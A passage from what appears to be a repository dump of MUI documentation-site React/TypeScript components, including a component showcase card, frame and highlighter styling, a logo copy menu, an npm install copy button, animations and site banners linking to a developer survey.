    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport Card from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport Chip from '@mui/material/Chip';\nimport { Link } from '@mui/docs/Link';\n\ninterface ComponentShowcaseCardProps {\n  imgLoading?: 'eager';\n  link: string;\n  md1?: React.ReactNode;\n  md2?: React.ReactNode;\n  md3?: React.ReactNode;\n  name: string;\n  noGuidelines?: React.ReactNode;\n  srcDark: string;\n  srcLight: string;\n}\n\nexport default function ComponentShowcaseCard(props: ComponentShowcaseCardProps) {\n  const { link, srcLight, srcDark, name, md1, md2, md3, noGuidelines, imgLoading = 'lazy' } = props;\n  // Fix overloading with prefetch={false}, only prefetch on hover.\n  return (\n    <Card\n      component={Link}\n      noLinkStyle\n      prefetch={false}\n      variant=\"outlined\"\n      href={link}\n      sx={(theme) => ({\n        height: '100%',\n        display: 'flex',\n        flexDirection: 'column',\n        borderRadius: 1,\n        borderColor: 'divider',\n        ...theme.applyDarkStyles({\n          backgroundColor: `${alpha(theme.palette.primaryDark[700], 0.1)}`,\n          borderColor: 'primaryDark.700',\n        }),\n      })}\n    >\n      <CardMedia\n        component=\"img\"\n        alt=\"\"\n        loading={imgLoading}\n        image={srcLight}\n        sx={(theme) => ({\n          aspectRatio: '16 / 9',\n          background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n          borderBottom: '1px solid',\n          borderColor: 'divider',\n          ...theme.applyDarkStyles({\n            content: `url(${srcDark})`,\n            background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n            borderColor: 'primaryDark.700',\n          }),\n        })}\n      />\n      <Stack direction=\"row\" sx={{ justifyContent: 'space-between', px: 2, py: 1.5 }}>\n        <Typography component=\"h2\" variant=\"body2\" sx={{ fontWeight: 'semiBold' }}>\n          {name}\n        </Typography>\n        <Stack direction=\"row\" spacing={0.5} useFlexGap>\n          {md1 && <Chip label=\"MD1\" size=\"small\" variant=\"outlined\" color=\"primary\" />}\n          {md2 && <Chip label=\"MD2\" size=\"small\" variant=\"outlined\" color=\"primary\" />}\n          {md3 && <Chip label=\"MD3\" size=\"small\" variant=\"outlined\" color=\"success\" />}\n          {noGuidelines && (\n            <Chip label=\"No guidelines\" size=\"small\" variant=\"outlined\" color=\"info\" />\n          )}\n        </Stack>\n      </Stack>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/Frame.tsx",
    "content": "import * as React from 'react';\nimport Box, { BoxProps } from '@mui/material/Box';\n\nconst FrameDemo = React.forwardRef<HTMLDivElement, BoxProps>(function FrameDemo(props, ref) {\n  return (\n    <Box\n      ref={ref}\n      {...props}\n      sx={[\n        (theme) => ({\n          position: 'relative',\n          border: '1px solid',\n          background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n          borderColor: 'grey.100',\n          ...theme.applyDarkStyles({\n            background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n            borderColor: 'primaryDark.700',\n          }),\n        }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    />\n  );\n});\n\nconst FrameInfo = React.forwardRef<HTMLDivElement, BoxProps>(function FrameInfo(props, ref) {\n  return (\n    <Box\n      ref={ref}\n      {...props}\n      sx={{\n        p: 2,\n        overflow: 'clip',\n        position: 'relative',\n        colorScheme: 'dark',\n        color: '#fff',\n        bgcolor: 'common.black',\n        border: '1px solid',\n        borderColor: 'primaryDark.700',\n        borderTop: 0,\n        borderBottomLeftRadius: 12,\n        borderBottomRightRadius: 12,\n        ...props.sx,\n      }}\n    />\n  );\n});\n\nconst Frame = React.forwardRef<HTMLDivElement, BoxProps>(function Frame(\n  { sx, ...props }: BoxProps,\n  ref,\n) {\n  return (\n    <Box\n      ref={ref}\n      {...props}\n      sx={[\n        {\n          display: 'flex',\n          flexDirection: 'column',\n          '& > div:first-of-type': {\n            borderTopLeftRadius: '12px',\n            borderTopRightRadius: '12px',\n          },\n          '& > div:last-of-type': {\n            borderBottomLeftRadius: '12px',\n            borderBottomRightRadius: '12px',\n          },\n        },\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n    />\n  );\n}) as ReturnType<typeof React.forwardRef<HTMLDivElement, BoxProps>> & {\n  Demo: typeof FrameDemo;\n  Info: typeof FrameInfo;\n};\n\nFrame.Demo = FrameDemo;\nFrame.Info = FrameInfo;\n\nexport default Frame;\n"
  },
  {
    "path": "docs/src/components/action/Highlighter.tsx",
    "content": "import * as React from 'react';\nimport ButtonBase, { ButtonBaseProps } from '@mui/material/ButtonBase';\nimport { alpha } from '@mui/material/styles';\n\nexport default function Highlighter({\n  disableBorder = false,\n  selected = false,\n  sx,\n  ...props\n}: {\n  disableBorder?: boolean;\n  selectedBg?: 'white' | 'comfort';\n  selected?: boolean;\n} & ButtonBaseProps) {\n  const ref = React.useRef<HTMLButtonElement>(null);\n  return (\n    <ButtonBase\n      component=\"span\"\n      ref={ref}\n      {...props}\n      onClick={(event: any) => {\n        if (ref.current) {\n          ref.current.scrollIntoView({ block: 'nearest' });\n        }\n        if (props.onClick) {\n          props.onClick(event);\n        }\n      }}\n      onFocusVisible={(event) => {\n        if (ref.current) {\n          ref.current.scrollIntoView({ block: 'nearest' });\n        }\n        if (props.onFocusVisible) {\n          props.onFocusVisible(event);\n        }\n      }}\n      sx={[\n        (theme) => ({\n          justifyContent: 'flex-start',\n          textAlign: 'left',\n          alignItems: 'center',\n          borderRadius: 1,\n          height: '100%',\n          border: '1px solid transparent',\n          transitionProperty: 'all',\n          transitionDuration: '100ms',\n          color: 'primary.300',\n          ...((!disableBorder || selected) && {\n            borderColor: 'grey.100',\n          }),\n          ...(selected && {\n            bgcolor: `${alpha(theme.palette.primary[50], 0.5)}`,\n            borderColor: 'primary.300',\n            boxShadow: `${alpha(theme.palette.primary[100], 0.5)} 0 -3px 1px inset, ${alpha(\n              theme.palette.primary[100],\n              0.3,\n            )} 0 2px 4px 0`,\n            color: 'primary.500',\n          }),\n          ...(!selected && {\n            '&:hover': {\n              bgcolor: 'primary.50',\n              borderColor: 'primary.100',\n              '@media (hover: none)': {\n                bgcolor: 'transparent',\n              },\n            },\n            '&:focus': {\n              bgcolor: 'transparent',\n            },\n          }),\n          ...theme.applyDarkStyles({\n            color: 'primary.800',\n            ...((!disableBorder || selected) && {\n              borderColor: alpha(theme.palette.primaryDark[600], 0.3),\n            }),\n            ...(!selected && {\n              '&:hover': {\n                bgcolor: alpha(theme.palette.primary[900], 0.1),\n                borderColor: alpha(theme.palette.primary[800], 0.4),\n                '@media (hover: none)': {\n                  bgcolor: 'transparent',\n                },\n              },\n              '&:focus': {\n                bgcolor: 'transparent',\n              },\n            }),\n            ...(selected && {\n              bgcolor: alpha(theme.palette.primary[800], 0.2),\n              borderColor: alpha(theme.palette.primary[700], 0.8),\n              color: 'primary.300',\n              boxShadow: `${alpha(theme.palette.common.black, 0.2)} 0 -3px 1px inset, ${\n                theme.palette.primaryDark[900]\n              } 0 2px 3px 0`,\n            }),\n          }),\n          '&.Mui-disabled': {\n            opacity: 0.4,\n          },\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/Item.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport function Group({\n  desktopColumns = 1,\n  rowLayout = false,\n  ...props\n}: { desktopColumns?: number; rowLayout?: boolean } & BoxProps) {\n  const theme = useTheme();\n  return (\n    <Box\n      {...props}\n      sx={{\n        overflow: 'auto',\n        maxWidth: rowLayout ? 'none' : { md: 500 },\n        display: { xs: 'grid', sm: rowLayout ? 'flex' : 'grid' },\n        justifyContent: { xs: 'start', sm: rowLayout ? 'center' : null },\n        gap: 1,\n        gridTemplateColumns: `repeat(${desktopColumns}, 1fr)`,\n        '@media (prefers-reduced-motion: no-preference)': {\n          scrollBehavior: 'smooth',\n        },\n        '& > *': {\n          minWidth: {\n            xs: desktopColumns === 1 ? 300 : 225,\n            sm: desktopColumns === 1 ? 400 : 225,\n            md: 'auto',\n          },\n          gridRow: { xs: 1, md: 'auto' },\n        },\n        [theme.breakpoints.down('md')]: {\n          mx: -3,\n          px: 3,\n          mb: -1.5,\n          pb: 2,\n          scrollSnapType: 'inline mandatory',\n          scrollPaddingLeft: 30,\n          scrollPaddingRight: 30,\n          '& > *': {\n            scrollSnapAlign: 'start',\n          },\n          '& > *:last-child': {\n            position: 'relative',\n            '&::after': {\n              // to create scroll spacing on the right edge\n              content: '\"\"',\n              position: 'absolute',\n              blockSize: '100%',\n              inlineSize: 30,\n              insetBlockStart: 0,\n              insetInlineEnd: -30,\n            },\n          },\n        },\n        [theme.breakpoints.down('sm')]: {\n          mx: -2,\n          px: 2,\n          scrollPaddingLeft: 20,\n          scrollPaddingRight: 20,\n          '& > *:last-child:after': {\n            inlineSize: 20,\n            insetBlockStart: 0,\n            insetInlineEnd: -20,\n          },\n        },\n        ...props.sx,\n      }}\n    />\n  );\n}\n\nexport default function Item({\n  description,\n  icon,\n  title,\n  smallerIconDistance = false,\n  ...props\n}: {\n  description?: string;\n  icon: React.ReactNode;\n  title: string;\n  smallerIconDistance?: boolean;\n} & BoxProps) {\n  return (\n    <Box\n      {...props}\n      component=\"span\"\n      sx={{\n        p: 2,\n        pr: smallerIconDistance ? 3 : 2,\n        display: 'flex',\n        flexDirection: { xs: 'column', sm: 'row' },\n        alignItems: { xs: 'start', sm: 'center' },\n        gap: { xs: 2, sm: '14px' },\n        ...props.sx,\n      }}\n    >\n      <Box component=\"span\" sx={{ lineHeight: 0 }}>\n        {icon}\n      </Box>\n      <Box sx={{ flexWrap: 'wrap' }}>\n        <Typography variant=\"body2\" sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n          {title}\n        </Typography>\n        {description && (\n          <Typography\n            component=\"span\"\n            variant=\"body2\"\n            sx={{ color: 'text.secondary', fontWeight: 'regular', mt: 0.5 }}\n          >\n            {description}\n          </Typography>\n        )}\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/LogoWithCopyMenu.tsx",
    "content": "import * as React from 'react';\nimport copy from 'clipboard-copy';\nimport { Link } from '@mui/docs/Link';\nimport { Portal } from '@mui/base/Portal';\nimport Box from '@mui/material/Box';\nimport Snackbar from '@mui/material/Snackbar';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport Slide from '@mui/material/Slide';\nimport TextFieldsRoundedIcon from '@mui/icons-material/TextFieldsRounded';\nimport CheckCircleRoundedIcon from '@mui/icons-material/CheckCircleRounded';\nimport { RootSvgProps } from 'docs/src/icons/RootSvg';\nimport SvgMuiLogomark, {\n  muiSvgLogoString,\n  muiSvgWordmarkString,\n} from 'docs/src/icons/SvgMuiLogomark';\n\ninterface LogoWithCopyMenuProps {\n  logo?: React.ComponentType<RootSvgProps>;\n  logoSvgString?: string;\n  wordmarkSvgString?: string;\n  marginLeft?: boolean;\n}\n\nexport default function LogoWithCopyMenu({\n  logo: LogoSvg = SvgMuiLogomark,\n  logoSvgString = muiSvgLogoString,\n  wordmarkSvgString = muiSvgWordmarkString,\n  marginLeft,\n}: LogoWithCopyMenuProps) {\n  const [contextMenu, setContextMenu] = React.useState<{\n    mouseX: number;\n    mouseY: number;\n  } | null>(null);\n\n  const handleContextMenu = (event: React.MouseEvent) => {\n    event.preventDefault();\n    setContextMenu(\n      contextMenu === null\n        ? {\n            mouseX: event.clientX + 8,\n            mouseY: event.clientY - 8,\n          }\n        : null,\n    );\n  };\n\n  const handleClose = () => {\n    setContextMenu(null);\n  };\n\n  const [copied, setCopied] = React.useState(false);\n  const handleCopy = (svgSnippet: string) => {\n    setCopied(true);\n    copy(svgSnippet).then(() => {\n      setTimeout(() => setCopied(false), 3500);\n      handleClose();\n    });\n  };\n\n  return (\n    <React.Fragment>\n      <Box\n        component={Link}\n        href=\"/\"\n        aria-label=\"Go to homepage\"\n        onContextMenu={handleContextMenu}\n        sx={{\n          mr: 1,\n          ml: marginLeft ? 1.5 : undefined,\n          '& > svg': { m: '0 !important' }, // override the 2px margin-left coming from the Link component\n        }}\n      >\n        <LogoSvg height={28} width={28} />\n      </Box>\n      <Menu\n        open={contextMenu !== null}\n        onClose={handleClose}\n        anchorReference=\"anchorPosition\"\n        anchorPosition={\n          contextMenu !== null ? { top: contextMenu.mouseY, left: contextMenu.mouseX } : undefined\n        }\n        sx={(theme) => ({\n          '& .MuiMenuItem-root': {\n            gap: 1,\n            '& path': {\n              fill: (theme.vars || theme).palette.text.tertiary,\n              color: (theme.vars || theme).palette.text.tertiary,\n            },\n            '&:hover, &:focus-visible': {\n              '& path': {\n                fill: (theme.vars || theme).palette.text.primary,\n                color: (theme.vars || theme).palette.text.primary,\n              },\n            },\n          },\n        })}\n      >\n        <MenuItem onClick={() => handleCopy(logoSvgString)}>\n          <LogoSvg height={16} width={18} />\n          Copy logo as SVG\n        </MenuItem>\n        <MenuItem onClick={() => handleCopy(wordmarkSvgString)}>\n          <TextFieldsRoundedIcon sx={{ fontSize: '18px' }} />\n          Copy wordmark as SVG\n        </MenuItem>\n      </Menu>\n      <Portal container={() => document.body}>\n        <Snackbar\n          open={copied}\n          onClose={handleClose}\n          anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n          slots={{ transition: Slide }}\n          message={\n            <Box sx={{ display: 'flex', alignItems: 'center', gap: '12px' }}>\n              <CheckCircleRoundedIcon sx={{ fontSize: '18px', color: 'success.main' }} />\n              Logo SVG copied to clipboard!\n            </Box>\n          }\n        />\n      </Portal>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/MaterialVsCustomToggle.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button, { buttonClasses } from '@mui/material/Button';\n\ninterface MaterialVsCustomToggleProps {\n  customized: boolean;\n  setCustomized: React.Dispatch<boolean>;\n}\n\nexport default function MaterialVsCustomToggle({\n  customized,\n  setCustomized,\n}: MaterialVsCustomToggleProps) {\n  return (\n    <Box\n      sx={(theme) => ({\n        position: 'absolute',\n        top: 0,\n        left: 0,\n        right: 0,\n        p: 1.5,\n        display: 'flex',\n        gap: 1,\n        zIndex: 3,\n        background: `linear-gradient(to bottom, ${\n          (theme.vars || theme).palette.common.black\n        } 70%, transparent)`,\n        [`& .${buttonClasses.root}`]: {\n          borderRadius: 99,\n          padding: '1px 8px',\n          fontSize: theme.typography.pxToRem(12),\n        },\n        [`& .${buttonClasses.outlined}.${buttonClasses.colorPrimary}`]: {\n          backgroundColor: alpha(theme.palette.primary[900], 0.5),\n        },\n      })}\n    >\n      <Button\n        size=\"small\"\n        variant=\"outlined\"\n        color={customized ? 'secondary' : 'primary'}\n        onClick={() => {\n          setCustomized(false);\n        }}\n      >\n        Material Design\n      </Button>\n      <Button\n        size=\"small\"\n        variant=\"outlined\"\n        color={customized ? 'primary' : 'secondary'}\n        onClick={() => {\n          setCustomized(true);\n        }}\n      >\n        Custom theme\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/More.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase, { ButtonBaseProps } from '@mui/material/ButtonBase';\nimport Typography from '@mui/material/Typography';\nimport AddCircleRoundedIcon from '@mui/icons-material/AddCircleRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\n\nexport default (function More(props: ButtonBaseProps) {\n  const ref = React.useRef<HTMLButtonElement>(null);\n  return (\n    <ButtonBase\n      ref={ref}\n      {...props}\n      onClick={(event) => {\n        if (ref.current) {\n          ref.current.scrollIntoView({ block: 'nearest' });\n        }\n        if (props.onClick) {\n          props.onClick(event);\n        }\n      }}\n      onFocusVisible={(event) => {\n        if (ref.current) {\n          ref.current.scrollIntoView({ block: 'nearest' });\n        }\n        if (props.onFocusVisible) {\n          props.onFocusVisible(event);\n        }\n      }}\n      sx={[\n        (theme) => ({\n          p: 2,\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'flex-start',\n          cursor: 'pointer',\n          borderRadius: 1,\n          height: '100%',\n          border: '1px dashed',\n          transitionProperty: 'all',\n          transitionDuration: '150ms',\n          borderColor: 'grey.200',\n          '& * svg': { transition: '0.2s' },\n          '&:hover, &:focus': {\n            borderColor: 'primary.main',\n            bgcolor: alpha(theme.palette.primary[100], 0.4),\n            '* .chevron': { transform: 'translateX(2px)' },\n            '@media (hover: none)': {\n              bgcolor: 'transparent',\n            },\n          },\n          ...theme.applyDarkStyles({\n            borderColor: `${alpha(theme.palette.primaryDark[400], 0.3)}`,\n            '&:hover, &:focus': {\n              bgcolor: alpha(theme.palette.primary[900], 0.4),\n            },\n          }),\n        }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    >\n      <Box component=\"span\" sx={{ mr: 1, px: '3px', lineHeight: 0 }}>\n        <AddCircleRoundedIcon color=\"primary\" fontSize=\"small\" />\n      </Box>\n      <Typography\n        component=\"span\"\n        variant=\"body2\"\n        sx={{ color: 'primary.main', fontWeight: 'bold', width: '100%' }}\n      >\n        Much more{' '}\n        <KeyboardArrowRightRounded\n          className=\"chevron\"\n          color=\"primary\"\n          fontSize=\"small\"\n          sx={{ verticalAlign: 'middle', ml: 'auto' }}\n        />\n      </Typography>\n    </ButtonBase>\n  );\n} as typeof ButtonBase);\n"
  },
  {
    "path": "docs/src/components/action/MoreInfoBox.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport { Link } from '@mui/docs/Link';\nimport IconButton from '@mui/material/IconButton';\nimport KeyboardArrowUpRounded from '@mui/icons-material/KeyboardArrowUpRounded';\nimport KeyboardArrowDownRounded from '@mui/icons-material/KeyboardArrowDownRounded';\n\nexport function AppearingInfoBox({\n  appeared,\n  children,\n  ...props\n}: { appeared: boolean; children: React.ReactNode } & BoxProps) {\n  const [hidden, setHidden] = React.useState(false);\n  return (\n    <Box\n      {...props}\n      sx={{\n        position: 'absolute',\n        bottom: 8,\n        left: 8,\n        right: 8,\n        zIndex: 3,\n        mx: -1,\n        background: ({ palette }) => alpha(palette.common.black, 0.9),\n        borderTop: '1px solid',\n        borderColor: hidden || !appeared ? 'transparent' : 'primaryDark.700',\n        transform: hidden || !appeared ? 'translateY(100%)' : 'translateY(0)',\n        transition: '0.2s',\n        ...props.sx,\n      }}\n    >\n      <IconButton\n        size=\"small\"\n        aria-label={hidden ? 'show' : 'hide'}\n        onClick={() => setHidden((bool) => !bool)}\n        sx={{\n          position: 'absolute',\n          zIndex: 2,\n          transition: '0.3s',\n          right: 16,\n          bottom: '100%',\n          transform: hidden || !appeared ? 'translateY(-10px)' : 'translateY(50%)',\n          opacity: appeared ? 1 : 0,\n          color: '#FFF',\n          backgroundColor: 'primary.500',\n          '&:hover': {\n            backgroundColor: 'primary.800',\n          },\n        }}\n      >\n        {hidden ? (\n          <KeyboardArrowUpRounded fontSize=\"small\" />\n        ) : (\n          <KeyboardArrowDownRounded fontSize=\"small\" />\n        )}\n      </IconButton>\n      <Box sx={{ px: 2, py: 1.5 }}>{children}</Box>\n    </Box>\n  );\n}\n\nexport default function MoreInfoBox({\n  primaryBtnLabel,\n  primaryBtnHref,\n  secondaryBtnLabel,\n  secondaryBtnHref,\n  ...props\n}: {\n  primaryBtnLabel: string;\n  primaryBtnHref: string;\n  secondaryBtnLabel: string;\n  secondaryBtnHref: string;\n} & BoxProps) {\n  return (\n    <Box\n      data-mui-color-scheme=\"dark\"\n      {...props}\n      sx={{\n        p: 1.5,\n        bottom: 0,\n        left: 0,\n        right: 0,\n        background: ({ palette }) => alpha(palette.primaryDark[800], 0.2),\n        display: 'flex',\n        flexDirection: { xs: 'column', sm: 'row' },\n        gap: { xs: 1.5, sm: 1 },\n        borderTop: '1px solid',\n        borderColor: 'divider',\n        zIndex: 3,\n        ...props.sx,\n      }}\n    >\n      <Button component={Link} noLinkStyle size=\"small\" variant=\"contained\" href={primaryBtnHref}>\n        {primaryBtnLabel}\n      </Button>\n      <Button\n        component={Link}\n        noLinkStyle\n        size=\"small\"\n        variant=\"outlined\"\n        color=\"secondary\"\n        href={secondaryBtnHref}\n      >\n        {secondaryBtnLabel}\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/action/NpmCopyButton.tsx",
    "content": "/* eslint-disable react/prop-types */\nimport * as React from 'react';\nimport copy from 'clipboard-copy';\nimport { SxProps } from '@mui/system';\nimport { styled, alpha, Theme } from '@mui/material/styles';\nimport ContentCopyRounded from '@mui/icons-material/ContentCopyRounded';\nimport CheckRounded from '@mui/icons-material/CheckRounded';\n\nconst Button = styled('button')(({ theme }) => ({\n  boxSizing: 'border-box',\n  minWidth: 64,\n  margin: 0,\n  marginTop: 16,\n  cursor: 'copy',\n  padding: 0,\n  position: 'relative',\n  display: 'inline-flex',\n  alignItems: 'flex-start',\n  justifyContent: 'center',\n  verticalAlign: 'middle',\n  gap: 8,\n  outline: 0,\n  border: 0,\n  boxShadow: 'none',\n  backgroundColor: 'transparent',\n  fontFamily: theme.typography.fontFamilyCode,\n  fontSize: theme.typography.pxToRem(12),\n  textDecoration: 'none',\n  textTransform: 'initial',\n  lineHeight: 1.5,\n  letterSpacing: 0,\n  transition: theme.transitions.create('color', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.shortest,\n  }),\n  WebkitTapHighlightColor: 'transparent',\n  WebkitFontSmoothing: 'subpixel-antialiased',\n  color: (theme.vars || theme).palette.text.tertiary,\n  '&:hover, &:focus-visible': {\n    color: (theme.vars || theme).palette.primary.main,\n    '@media (hover: none)': {\n      color: (theme.vars || theme).palette.text.tertiary,\n    },\n  },\n  '& svg': {\n    display: 'inline-block',\n    position: 'absolute',\n    right: -24,\n    top: 1,\n    opacity: 0,\n    transition: theme.transitions.create('opacity', {\n      easing: theme.transitions.easing.sharp,\n      duration: theme.transitions.duration.shortest,\n    }),\n  },\n  '&:focus, &:hover svg': {\n    opacity: 1,\n  },\n  '&:focus-visible': {\n    outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n    outlineOffset: '2px',\n  },\n}));\n\nexport default function NpmCopyButton(\n  props: React.HTMLAttributes<HTMLButtonElement> & { installation: string; sx?: SxProps<Theme> },\n) {\n  const { installation, onClick, sx, ...other } = props;\n  const [copied, setCopied] = React.useState(false);\n  const handleCopy = () => {\n    setCopied(true);\n    copy(installation).then(() => {\n      setTimeout(() => setCopied(false), 2000);\n    });\n  };\n  return (\n    <Button\n      onClick={(event: any) => {\n        handleCopy();\n        onClick?.(event);\n      }}\n      {...other}\n    >\n      $ {installation}\n      {copied ? (\n        <CheckRounded color=\"inherit\" sx={{ fontSize: 15 }} />\n      ) : (\n        <ContentCopyRounded color=\"inherit\" sx={{ fontSize: 15 }} />\n      )}\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/animation/FadeDelay.tsx",
    "content": "import * as React from 'react';\nimport Fade, { FadeProps } from '@mui/material/Fade';\n\nexport default function FadeDelay({ delay, ...props }: { delay: number } & FadeProps) {\n  const [fadeIn, setFadeIn] = React.useState(false);\n  React.useEffect(() => {\n    const time = setTimeout(() => {\n      setFadeIn(true);\n    }, delay);\n    return () => {\n      clearTimeout(time);\n    };\n  }, [delay]);\n  return <Fade in={fadeIn} timeout={1000} {...props} />;\n}\n"
  },
  {
    "path": "docs/src/components/animation/FlashCode.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha, SxProps } from '@mui/material/styles';\n\nconst FlashCodeRoot = styled('div')(({ theme }) => ({\n  borderRadius: 2,\n  pointerEvents: 'none',\n  position: 'absolute',\n  left: -1, // Have at least a 1px gap between the text and the border of the FlashCode.\n  right: 0,\n  top: `calc(var(--Flashcode-lineHeight) * 1.5 * var(--Flashcode-startLine))`,\n  height: `calc(var(--Flashcode-lineHeight) * 1.5 * (var(--Flashcode-endLine) - var(--Flashcode-startLine) + 1))`,\n  transition: '0.3s',\n  ...theme.typography.caption,\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.primary.mainChannel} / 0.15)`\n    : alpha(theme.palette.primary.main, 0.1),\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.primary.dark,\n}));\n\nconst FlashCode = React.forwardRef(function FlashCode(\n  props: React.JSX.IntrinsicElements['div'] & {\n    sx?: SxProps;\n    endLine?: number;\n    startLine?: number;\n    lineHeight?: number | string;\n  },\n  ref: React.ForwardedRef<HTMLDivElement>,\n) {\n  const { children, startLine = 0, endLine = startLine, lineHeight = '0.75rem', ...other } = props;\n\n  return (\n    <FlashCodeRoot\n      ref={ref}\n      {...other}\n      style={{\n        ...{\n          '--Flashcode-lineHeight': lineHeight,\n          '--Flashcode-startLine': startLine,\n          '--Flashcode-endLine': endLine,\n        },\n        ...other.style,\n      }}\n    >\n      {children}\n    </FlashCodeRoot>\n  );\n});\n\nexport default FlashCode;\n"
  },
  {
    "path": "docs/src/components/animation/Slide.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nexport default function Slide({\n  animationName,\n  keyframes,\n  ...props\n}: BoxProps & { animationName: string; keyframes: Record<string, object> }) {\n  return (\n    <Box\n      {...props}\n      sx={{\n        display: 'grid',\n        gridTemplateRows: 'min-content',\n        gap: { xs: 2, sm: 4, md: 8 },\n        width: 'min-content',\n        animation: `${animationName} 30s ease-out forwards`,\n        '@media (prefers-reduced-motion)': {\n          animation: 'none',\n        },\n        [`@keyframes ${animationName}`]: {\n          ...keyframes,\n        },\n        ...props.sx,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/banner/AppFrameBanner.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport { Link } from '@mui/docs/Link';\nimport FEATURE_TOGGLE from 'docs/src/featureToggle';\n\nconst showSurveyMessage = true;\n\nfunction isBlackFriday() {\n  const today = Date.now();\n  const start = new Date('2024-11-25').getTime();\n  const end = new Date('2024-12-07T23:59:59Z').getTime();\n  return today > start && today < end;\n}\n\nlet hadHydrated = false;\n\nexport default function AppFrameBanner() {\n  if (!FEATURE_TOGGLE.enable_docsnav_banner) {\n    return null;\n  }\n\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  const [mounted, setMounted] = React.useState(hadHydrated);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  React.useEffect(() => {\n    hadHydrated = true;\n    setMounted(true);\n  }, []);\n\n  let message = '';\n  let href = '';\n\n  if (showSurveyMessage) {\n    message = `🚀 Influence MUI's 2026 roadmap! Take our latest Developer Survey`;\n    href = 'https://tally.so/r/3jOKG1?source=docs-banner';\n  } else if (mounted && isBlackFriday()) {\n    message = `Black Friday is here! Don't miss out on the best offers of the year.`;\n    href = 'https://mui.com/store/bundles/?deal=black-friday&from=docs';\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (message.length > 100) {\n      throw new Error(\n        `Docs-infra: AppFrameBanner message is too long. It will overflow on smaller screens.`,\n      );\n    }\n  }\n\n  if (message === '' || href === '') {\n    return null;\n  }\n\n  return (\n    <Link\n      href={href}\n      target=\"_blank\"\n      variant=\"caption\"\n      sx={[\n        (theme) => ({\n          padding: theme.spacing('6px', 1.5),\n          display: { xs: 'none', md: 'block' },\n          fontWeight: 'medium',\n          textWrap: 'nowrap',\n          maxHeight: '34px',\n          backgroundColor: alpha(theme.palette.primary[50], 0.8),\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n          borderRadius: 1,\n          transition: 'all 150ms ease',\n          '&:hover, &:focus-visible': {\n            backgroundColor: alpha(theme.palette.primary[100], 0.4),\n            borderColor: (theme.vars || theme).palette.primary[200],\n          },\n        }),\n        (theme) =>\n          theme.applyDarkStyles({\n            backgroundColor: alpha(theme.palette.primary[900], 0.15),\n            '&:hover, &:focus-visible': {\n              backgroundColor: alpha(theme.palette.primary[900], 0.4),\n              borderColor: (theme.vars || theme).palette.primary[900],\n            },\n          }),\n      ]}\n    >\n      {message}\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/banner/AppHeaderBanner.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport { Theme } from '@mui/material/styles';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\nimport FEATURE_TOGGLE from 'docs/src/featureToggle';\n\nconst linkStyleOverrides = (theme: Theme) => ({\n  color: 'inherit',\n  textDecorationColor: 'currentColor',\n  '&:hover': {\n    color: (theme.vars || theme).palette.primary[200],\n  },\n  ...theme.applyDarkStyles({\n    color: 'inherit',\n    '&:hover': {\n      color: (theme.vars || theme).palette.primary[200],\n    },\n  }),\n});\n\nfunction getSurveyMessage() {\n  return (\n    <React.Fragment>\n      {`🚀 Influence MUI's 2026 roadmap! Take our latest`}\n      &nbsp;\n      <Link\n        href=\"https://tally.so/r/3jOKG1?source=website\"\n        target=\"_blank\"\n        underline=\"always\"\n        sx={linkStyleOverrides}\n      >\n        Developer Survey →\n      </Link>\n    </React.Fragment>\n  );\n}\n\nfunction getDefaultHiringMessage() {\n  return (\n    <React.Fragment>\n      🚀&#160;&#160;We&apos;re hiring a Designer, Full-stack Engineer, React Community Engineer, and\n      more!&nbsp;&#160;\n      <Link\n        // Fix me!\n        href={ROUTES.careers}\n        target=\"_blank\"\n        